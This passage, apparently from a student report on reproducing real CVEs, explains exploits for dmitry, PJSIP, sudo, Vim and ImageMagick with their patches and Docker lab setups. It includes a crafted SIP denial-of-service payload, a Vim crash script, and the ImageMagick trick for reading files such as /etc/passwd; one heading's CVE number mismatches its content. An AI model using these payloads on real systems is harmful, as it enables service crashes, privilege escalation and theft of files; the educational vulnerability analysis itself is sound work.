After some testing, it was possible to read content from the stack by using the %p format string. Since there are no
restrictions to the characters that are placed put in argv, a specially crafted payload could overwrite arbitrary locations in
memory. The main restriction is that the argv does not allow for null bytes making it much more difficult to conduct full
arbitrary write.
The Exploit. The exploit that was made is a stack-offset format string arbitrary write. Essentially what this does is
corrupt the saved EBP of the get_nwhois() function. This, in turn corrupts the stack modifying the return value of the
main function. These snippets from GDB help explain what is actually happening here. This is what it looked like before:
Image on github: https://github.com/lucasballr/exploitables/blob/main/CVE-2017-7938/img/before.
png And this is what it looked like afterward. Image on github: https://github.com/lucasballr/exploitables/
blob/main/CVE-2017-7938/img/after.png

As a result, it was possible to stack pivot to any location allowing for a much more fine grained control flow
modification.
The patch. The solution to both of these problems was relatively straightforward. For the buffer overflow they just
replaced the strcpy() function (which is known for being very vulnerable in practice) with the more secure strncpy()
which copies a only the allowed size for the variable. This is what that looks like. The solution to the format string

1 strncpy(host_name, argv[argc - 1], MAXNAMELEN - 1);
2 host_name[MAXNAMELEN - 1] = ’\0’;

vulnerability was even more simple: Just add a dedicated format string to the printf statement.
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1 print_line("%s", linebuff);

What can be learned from this. The main thing to be learned from this situation is understanding how this could be
exploited in the real world. One option could be that the user has the dmitry program on their computer and they get
manipulated into running a maliciously formed program that then calls dmitry with these bad arguments. The other option
could be a remote server that runs dmitry as a service. In this case, the user could input a malicious host string causing
either a denial of service or a full RCE on the remote machine.

When it comes to exploit creation, fully understanding the amount of control the attacker has over the program is
important in order to fully manipulate the control flow. Just simply knowing there is a format string vulnerability is not
enough. It is necessary to actually dive into the memory of the program to know what is happening to the memory. This
is much like a ctf challenge and this is definitely something that could be seen in a CTF which makes it a perfect example
of how lots of real world vulnerabilities can be exploited the same way a CTF challenge can.
Running the exploit. It is possible to run this on most Linux based operating systems as long as have pwntools is
installed. Since this is a simple exploit, there is not much need for a more complex environment. In order to continue the
exploit to potentially escalate privileges, the Dockerfile exists to assist with practicing the exploit creation.

8.5 CVE-2017-16872
This vulnerability was found by Youngsung Kim from LINE. It is an interesting bug regarding the type conversions
between different numerical datatypes. They discovered that PJSIP was doing improper type conversions on information
that could be manipulated by a remote request.
The vulnerability. The vulnerability is pretty well explained here: https://engineering.linecorp.com/en/blog/
buffer-overflow-in-pjsip-a-voip-open-source-library, but this write-up will go over the main points in
order to understand how an exploit can be created.

The issue stems from the converstion from an int to an unsigned long. When this kind of type conversion happens,
the process does something called a sign extension that essentially just extends the value to fill the space of an unsigned
long. For example, a value like 0xFFFFFFFF or -1 as an int would sign extend to 0xFFFFFFFFFFFFFFFF as a long. This
would normally not be a problem, but the pj_utoa() custom function expects an unsigned long and creates the string based
off an unsigned long. A normal 4-byte integer would normally max out at 10 bytes in string form, but the sign extension
has doubled the size of the string to 20 bytes. At the beginning of the function, the len_required value gets set in order
to allocate the proper size heap block to get the job done. This value gets set to the length of the data } 9 } 9 } 16
totalling 34 bytes past the data in the request. This would not be a problem if it was only doing one utoa() function, but
the program runs 2. One for the CSeq number and one for the port. As a result, there are have 40 possible bytes that could
be allocated to a 34 byte space creating a buffer overflow.

This begs the question for why the vulnerability matters in the first place. The remote requester has control over
those numbers as they get sent in, so they arbitrarily create these buffer overflows. This is what the exploit will take
advantage of. Further understanding of exactly how this vulnerability works can be found on the original report by Kim.
The exploit. Since the heap allocator for PJ was custom built, it was hard to get automated tools to do the heap checking.
As a result, most of the program analysis was done through GDB by manually looking at the values to see how they were
being modified. This (https://issues-archive.asterisk.org/ASTERISK-27319) ticket gave me a good starting
point for looking into these values. Basically the goal of the exploit is to modify the payload so that it fills the block of
space that gets allocated to the to the heap, but not so much that it forces the heap allocator to allocate a larger chunk.
The way to test this is to first get the len_required variable which is based on the length of the request. Then get the
distance between pool chunks made by the allocator. If the PJSIP program is compiled with debugging symbols, the
variable symbols can be referenced by name in GDB to get the proper size. Unfortunately, since this is a custom heap
implementation, automated tools like pwndbg’s heap functionality do not work. This is what that looks like:
1 pwndbg> p pool->block_list->next->end - pool->block_list->next->cur
2 \$1 = 1488
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3 pwndbg> p len_required
4 \$3 = 1487

It is essential to get to the point in the create_tsx_key_2543() function that actually sets the value of this variable to the
size of the request. The payload was made the perfect size, so that it is just small enough to not allocate a larger block.
Now the payload fits in the heap block, but it is still unclear how the heap object gets corrupted. Turns out, the program
just calls the pj_utoa() function multiple times and appends those values to the end of the string separated by a ":" with
some "$" characters separating parts of it. So the way it would look in the heap is something like data:cseq:port\0.
Looking at the string in memory reveals exactly that:
1 pwndbg> x/s 0x5a70ff9beff0 -0x30 ### The is the point in memory at the end of the heap block
2 0x5a70ff9befc0: 'A' <repeats 13 times>, "$18446744073709551614$$a$4:18446744073709551614$"

So now the heap has been overwritten, but to really understand this exploit to see what is actually happening it is necessary
to look at what is being overwritten. The method above was used to look at the memory before and after the buffer
overflow to see what is being overwritten:
1 ### BEFORE THE OVERFLOW
2 pwndbg> print *pool->block_list->next
3 $1 = {
4 prev = 0x6060345810f0,
5 next = 0x606034581120,
6 buf = 0x6060345820d8 "\240\020X4``",
7 cur = 0x606034583a20 "",
8 end = 0x606034583ff0 "0@X4``"
9 }

10 pwndbg> x/10xg 0x606034583ff0 - 0x20
11 0x606034583fd0: 0x0000000000000040 0x0000000000000050
12 0x606034583fe0: 0x0000606034583f40 0x0000000000000003
13 0x606034583ff0: 0x0000606034584030 0x0000000000000211 ## This is the beginning of the block
14

15 ### AFTER THE OVERFLOW
16 pwndbg> x/10xg 0x606034583ff0 - 0x20
17 0x606034583fd0: 0x3730343437363434 0x3631353539303733
18 0x606034583fe0: 0x3a34246124243431 0x3434373634343831
19 0x606034583ff0: 0x3535393037333730 0x0000002434313631
20 ## Looks like the 0x211 and prev value got overwritten

It looks like the 0x211 that was in the next block of the heap was overwritten. This turns out to be the size value for the
object in memory. Since this has been overwritten, it will be improperly referenced if it is ever used later in the program.
Unfortunately for the writer of the exploit, this object was only referenced when the heap attempts to be reset in the
pj_pool_reset() function. This function just goes through the objects in the heap and tries to free them. Obviously since
the size value is set too high, an error will occur. This is how a DoS is achieved by the exploit. Since the heap overflow
raises an error, the entire program stops. This is what that looks like:
1 Send this payload:
2 b'OPTIONS sip:3 SIP/2.0\nf: <sip:2>\nt: <sip:1>\ni: a\nCSeq: 18446744073709551614
3 <AAAAAA...1451 times...> \nv: SIP/2.0/U 4:18446744073709551614\n\n'
4

5 Get this effect:
6 double free or corruption (!prev)
7 Aborted (core dumped)

Compiling the program with address sanitizer enabled a detection of the heap buffer overflow. Here is the output of
that crash:
1 =================================================================
2 ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000004840
3 at pc 0x6473f063c542 bp 0x725cd8bfe980 sp 0x725cd8bfe978
4 WRITE of size 1 at 0x625000004840 thread T2
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5 #0 0x6473f063c541 in pj_utoa_pad ../src/pj/string.c:339
6 #1 0x6473f063c48c in pj_utoa ../src/pj/string.c:325
7 #2 0x6473f0383dc5 in create_tsx_key_2543 ../src/pjsip/sip_transaction.c:338
8 #3 0x6473f0384472 in pjsip_tsx_create_key ../src/pjsip/sip_transaction.c:419
9 #4 0x6473f0385553 in mod_tsx_layer_on_rx_request ../src/pjsip/sip_transaction.c:802

10 #5 0x6473f03417be in pjsip_endpt_process_rx_data ../src/pjsip/sip_endpoint.c:887
11 #6 0x6473f03420cc in endpt_on_rx_msg ../src/pjsip/sip_endpoint.c:1037
12 #7 0x6473f035c8aa in pjsip_tpmgr_receive_packet ../src/pjsip/sip_transport.c:1962
13 #8 0x6473f035f006 in udp_on_read_complete ../src/pjsip/sip_transport_udp.c:171
14 #9 0x6473f05fcbcc in ioqueue_dispatch_read_event ../src/pj/ioqueue_common_abs.c:605
15 #10 0x6473f06021a4 in pj_ioqueue_poll ../src/pj/ioqueue_select.c:994
16 #11 0x6473f0340f04 in pjsip_endpt_handle_events2 ../src/pjsip/sip_endpoint.c:742
17 #12 0x6473f028d1ab in pjsua_handle_events ../src/pjsua-lib/pjsua_core.c:1988
18 #13 0x6473f02870fb in worker_thread ../src/pjsua-lib/pjsua_core.c:704
19 #14 0x6473f0604e51 in thread_main ../src/pj/os_core_unix.c:541
20 #15 0x725cddfdcfa2 in start_thread /build/reproducible-path/glibc-2.28/nptl/pthread_create.c:486
21 #16 0x725cdcab506e in clone (/lib/x86_64-linux-gnu/libc.so.6}0xf906e)
22

23 0x625000004840 is located 0 bytes to the right of 8000-byte region [0x625000002900,0x625000004840)
24 allocated by thread T0 here:
25 #0 0x725cdd2e9330 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.5}0xe9330)
26 #1 0x6473f064128c in default_block_alloc ../src/pj/pool_policy_malloc.c:46
27 #2 0x6473f061c6dc in pj_pool_create_block ../src/pj/pool.c:61
28 #3 0x6473f061ca2b in pj_pool_allocate_find ../src/pj/pool.c:138
29 #4 0x6473f061c454 in pj_pool_alloc ../include/pj/pool_i.h:62
30 #5 0x6473f061c48d in pj_pool_calloc ../include/pj/pool_i.h:69
31 #6 0x6473f035e955 in pj_pool_zalloc ../../pjlib/include/pj/pool.h:485
32 #7 0x6473f035ea2b in init_rdata ../src/pjsip/sip_transport_udp.c:98
33 #8 0x6473f03624c8 in transport_attach ../src/pjsip/sip_transport_udp.c:830
34 #9 0x6473f03627f4 in pjsip_udp_transport_attach2 ../src/pjsip/sip_transport_udp.c:879
35 #10 0x6473f028e6d4 in pjsua_transport_create ../src/pjsua-lib/pjsua_core.c:2312
36 #11 0x6473f021f65a in app_init ../src/pjsua/pjsua_app.c:1598
37 #12 0x6473f02217b0 in pjsua_app_init ../src/pjsua/pjsua_app.c:1888
38 #13 0x6473f02167b4 in main_func ../src/pjsua/main.c:108
39 #14 0x6473f0607e66 in pj_run_app ../src/pj/os_core_unix.c:1952
40 #15 0x6473f021683f in main ../src/pjsua/main.c:129
41 #16 0x725cdc9e009a in __libc_start_main ../csu/libc-start.c:308
42

43 Thread T2 created by T0 here:
44 #0 0x725cdd250db0 in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.5}0x50db0)
45 #1 0x6473f060522d in pj_thread_create ../src/pj/os_core_unix.c:634
46 #2 0x6473f02887be in pjsua_init ../src/pjsua-lib/pjsua_core.c:1118
47 #3 0x6473f021e23e in app_init ../src/pjsua/pjsua_app.c:1356
48 #4 0x6473f02217b0 in pjsua_app_init ../src/pjsua/pjsua_app.c:1888
49 #5 0x6473f02167b4 in main_func ../src/pjsua/main.c:108
50 #6 0x6473f0607e66 in pj_run_app ../src/pj/os_core_unix.c:1952
51 #7 0x6473f021683f in main ../src/pjsua/main.c:129
52 #8 0x725cdc9e009a in __libc_start_main ../csu/libc-start.c:308
53

54 SUMMARY: AddressSanitizer: heap-buffer-overflow ../src/pj/string.c:339 in pj_utoa_pad
55 Shadow bytes around the buggy address:
56 0x0c4a7fff88b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
57 0x0c4a7fff88c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
58 0x0c4a7fff88d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
59 0x0c4a7fff88e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
60 0x0c4a7fff88f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
61 =>0x0c4a7fff8900: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
62 0x0c4a7fff8910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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63 0x0c4a7fff8920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
64 0x0c4a7fff8930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
65 0x0c4a7fff8940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
66 0x0c4a7fff8950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
67 Shadow byte legend (one shadow byte represents 8 application bytes):
68 Addressable: 00
69 Partially addressable: 01 02 03 04 05 06 07
70 Heap left redzone: fa
71 Freed heap region: fd
72 Stack left redzone: f1
73 Stack mid redzone: f2
74 Stack right redzone: f3
75 Stack after return: f5
76 Stack use after scope: f8
77 Global redzone: f9
78 Global init order: f6
79 Poisoned by user: f7
80 Container overflow: fc
81 Array cookie: ac
82 Intra object redzone: bb
83 ASan internal: fe
84 Left alloca redzone: ca
85 Right alloca redzone: cb
86 ==7==ABORTING

The patch. Since this issue was rampant throughout the codebase of PJSIP, the fix was to validate the size of the request
header values so that they fit into 9 byte sections. Here is the error that is received when trying to run the exploit on the
patched version:
1 03:29:41.506 sip_parser.c !Error parsing
2 '18446744073709551614': String value was greater than the maximum allowed value.
3 03:29:41.506 sip_parser.c Error parsing
4 '18446744073709551614': String value was greater than the maximum allowed value.

One extra fix that the developers could do is make sure the type of values going into functions are always the same as
the value types being used within the function. This type confusion could cause more vulnerabilities in the future as
development on this project continues.
Going further. This is about as far as this write-up will go. There is one thing that could be explored further, which is the
prev pointer of that heap object. Since the exploit successfully overwrites that, it is theoretically possible to put a value
that points somewhere else in the program memory causing an unknown effect during the free function of the program.
The reason this write-up will not expand on this is because sending the right value would require breaking/leaking ASLR
in the program, which is outside the scope of this vulnerability.
What can we learn from this. This is a helpful heap vulnerability to learn from. Since this is a custom heap
implementation, it required diving into the heap values and looking at the raw memory to see what was really going
on. Understanding heap corruption is vital to modern day exploitation and CTF challenges rarely mimic this type of
vulnerability. This is mainly because heap corruption in the real world rarely leads to an actual full chain get-a-shell exploit.
Instead, CTF challenges have to alter the program to make it straightforward to modify the heap. This implementation is
a great practice for real-world vulnerabilities since it is all custom-built and requires looking at how it really works to
build an exploit for it.

8.6 CVE-2019-14287
This is a write-up for CVE-2019-14287 affecting versions of sudo older than 1.8.28. The vulnerability is an integer
underflow error in the UID verification functionality of Sudo.
The vulnerability. The issue stemmed from the value -1 being interpreted as 0 for the user ID. The user would need a
line in the sudoers file that specified that they can run a program as any user with RUNAS ALL, but also not root with !root.
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Since the UID value -1 was technically not 0, the program would allow the user to run as UID -1, but then -1 would be
interpreted as 0 when thet integer was read by the permissions checking functionality allowing this to be run as root.
The patch. Here was the part of the patch which disabled the ability to use -1 as the user.

1 + /* Disallow id -1, which means "no change". */
2 + if (!valid_separator(p, ep, sep) || lval == -1) {
3

4 ...
5

6 + /* Disallow id -1, which means "no change". */
7 + if (!valid_separator(p, ep, sep) || ulval == UINT_MAX) {
8 + if (errstr != NULL)
9 + *errstr = N_("invalid value");

10 + errno = EINVAL;

The exploit. This is a simple vulnerability, but this CVE was great for practice building the exploitation environment.
Two Dockerfiles were created: one with the vulnerable version of Sudo (1.8.27) and one with the patched version
(1.8.28). Otherwise, they are both the same. A simple program was written to test the version of Sudo and run the
exploit if the vulnerability exists.
References. (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287)
How to test the exploit. Build the Dockerfile for either the vulnerable or patched version:
1 docker build . -t cve-2019-14287

Run the Dockerfile (this will log in as "testuser"):
1 docker run -it cve-2019-14287

Run the exploit:
1 $ privesc.sh

8.7 CVE-2022-3296
Understanding the vulnerability. To understand this vulnerability, it is important to understand how scripting is
implemented into Vim. Essentially the way it works is either by typing : in normal mode and typing out a command OR
specifying a script with the -S option when launching the program. The vulnerability exists in either implementation, but
it is easier to use the -S capability which is more likely to be used by a bad actor.

This is a vulnerability in the ex_finally function in the try/catch functionality of Vim scripting. The :try command
does exactly what a normal try block would do: it attempts to run something, but if it does not work, it will catch the
exception made by the program. An example of this would be something like this:

1 function! TryCatchExample()
2 try
3 execute ’edit /path/to/file’
4 catch
5 echo "Error opening file: " . v:exception
6 finally
7 echo "Performing cleanup actions"
8 endtry
9 endfunction

If the file in the try block does not exist, the catch will be thrown and will show an exception. The issue comes when
you try to start some loops and conditionals within the try block and then call the finally keyword without ending the
loops. Since these loops and conditionals do not have ‘end‘ statements, they will cause an error. This would normally be
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handled by the try block and returned by the catch, but since the finally block is being hit with no catch and no end for
the opened conditionals, the try function runs into a problem unraveling the call stack and tries to dereference the -1
index. This essentially enables an attacker to manipulate memory around the cstack variable (which is just on the stack
at the time of modification).
The exploit. The exploit is just a small script that opens a try block and then does a bunch of if/for statements in
between the try block and a finally block. This will fill up the call stack to be unraveled during the ex_finally function.
The script looks like this:

1 try
2 for # for loop opening
3 0 # for loop value. doesn’t matter what this is.
4 if # first if block opening
5 endwhile # This is required to break the infinite loop but keep the for block
6 if # second if block opening
7 finally

This sequence of commands creates a dereference of the cstack at index -1. Since the call stack is technically able
to be manipulated, the exploit could add some malicious information, or put memory values at the beginning of the call
stack to modify the program internal memory. This can be observed happening when adding more if conditionals to this
script. The address sanitizer runs into an infinite loop due to a faulty memory access. Since the vulnerability report does
not indicate a guaranteed manipulation of the memory, this is where the write-up ends. With further exploration, it is
theoretically possible to manipulate the internal memory of the program to change the control flow.
The patch. This was patched in the Sep 24, 2022 commit on github with a fundamental change to the cstack checking
within the ex_finally() function. This section was removed:

1 if (!(cstack->cs_flags[cstack->cs_idx] & CSF_TRY))
2 {
3 eap->errmsg = get_end_emsg(cstack);
4 for (idx = cstack->cs_idx - 1; idx > 0; --idx)
5 if (cstack->cs_flags[idx] & CSF_TRY)
6 break;
7 pending = CSTP_ERROR;
8 }
9 else

10 idx = cstack->cs_idx;

and this replaced it:

1 if (!(cstack->cs_flags[cstack->cs_idx] & CSF_TRY))
2 {
3 eap->errmsg = get_end_emsg(cstack);
4 pending = CSTP_ERROR;
5 }

The comment in there explains a little bit of the change. Basically, instead of looping backward through the call
stack, it just goes straight to the error. This prevents the faulty unraveling of the stack.
What can be learned from this. In the modern day, CVEs are graded based off the potential impact in the real world.
Just because a CVE has a critical score does not mean that there is a proven pop-a-shell chain. This is something that is
important to understand in exploit writing for real-world exploits.
Running the exploit. Go into the vulnerable/ directory that I have shown and run docker build -t cve-2022-3296 .
This will build the vulnerable version of vim. Then the container can be ran with docker run -it cve-2022-3296 to get
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into a shell for the container. This should open a shell in the directory of the vim binary. Then the vulnerable program
can be ran with ./vim -u NONE -i NONE -n -m -X -Z -e -s -S /tmp/something to see the sanitizer error. In order
to modify the memory during execution, just modify the bytes in the e.py file and run ./e.py. This might have to be
run outside of the container. Then, the something script can be copied into the container. Then, run the program with
pwndbg –args ./vim -u NONE -i NONE -n -m -X -Z -e -s -S /tmp/something.

8.8 CVE-2012-4409
This is an explanation and exploit for CVE-2022-44268.
The Vulnerability. The vulnerability is a small piece of the ReadOnePNGImage() function within the coders/png.c file.
This function parses all of the chunks in the png being converted. One of the chunks that can be added to the png is a
section is a tEXt chunk called the profile. When adding a readable filename to this profile, the program will read the file
and add the contents to the Raw Profile section of the "converted" image. This creates an arbitrary read on any filesystem
that this version of ImageMagick is on. The official CVE database says that this exploit affects versions 7.1.0-49,
but after some testing it was found that the patch was not added until version 7.1.0-52. This leaves two versions still
vulnerable while remaining unreported.
The patch. The patch was added in version 7.1.0-52 here: (https://github.com/ImageMagick/ImageMagick/
commit/05673e63c919e61ffa1107804d1138c46547a475) and here: (https://github.com/ImageMagick/
ImageMagick/commit/09e738e84bd78c473771804de821e99f82d99219) It just removed the resolution of the pro-
file making the converted file just show the original profile as intended.
The exploit. The exploit is relatively straightforward after understanding the vulnerability. The main task is to
add a tEXt chunk in an existing png file that contains the absolute path for the desired file. Something like this:
profile: /etc/passwd. The next step is to run some kind of conversion on the file in order to force the ImageMagick
program to run the ReadOnePNGImage() function. When this happens, the converted file will have the contents of the
desired file as long as the original file is readable by the user that runs the ImageMagick program. In the Docker example,
the program is running as root making to possible to read any file. In the real world, this conversion might be happening
on a server somewhere not running as root, so it would require the attacker to understand a little bit about the filesystem.

Considering the vulnerability description here: (https://www.metabaseq.com/imagemagick-zero-days/)
explained the majority of the exploit and how it works, there was minimal work to do for the exploit. The real effort is in
understanding what exactly the modified part of the PNG is and how to add that do make the exploit work. This can be
done with the pypng library in python. It allows the exploit developer to read the chunks of a normal PNG to obtain a
sample file. Then it allows the exploit developer to modify that list of chunks in order to have a full png to use for the
exploit.
The environment. The example given here is a docker container that has compiled the most recent exploitable version
of ImageMagick. This slightly differs from the template docker container that is in the program description because it
required some extra dependencies in order to make sure the ImageMagick program can read PNG files. The checkinstall
program was used to verify that the libpng library is installed and ImageMagick can see it before compiling.

In a real-world scenario, the version would likely be hidden from the attacker making it a black-box pentesting
environment and providing an advantage to the defender.
How run the exploit. First make sure to have all of the tools installed. Here are the required tools:

• identify: (https://man.archlinux.org/man/identify.1)

• docker:(https://wiki.archlinux.org/title/Docker)

Then, the docker container needs to be built:
1 docker build -t cve-2022-44268:v51 ./vulnerable

The patched version can be built as well for verification purposes:
1 docker build -t cve-2022-44268:v52 ./patched

Then, the respective exploits can be ran:
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1 cd vulnerable/ # or cd patched/
2 python3 e.py yinyang.png <desired_file_path>

Running the exploit against the vulnerable version will result in the selected file being placed in the current directory.
References

• https://github.com/ImageMagick/ImageMagick

• https://www.metabaseq.com/imagemagick-zero-days/

• https://nvd.nist.gov/vuln/detail/CVE-2022-44268
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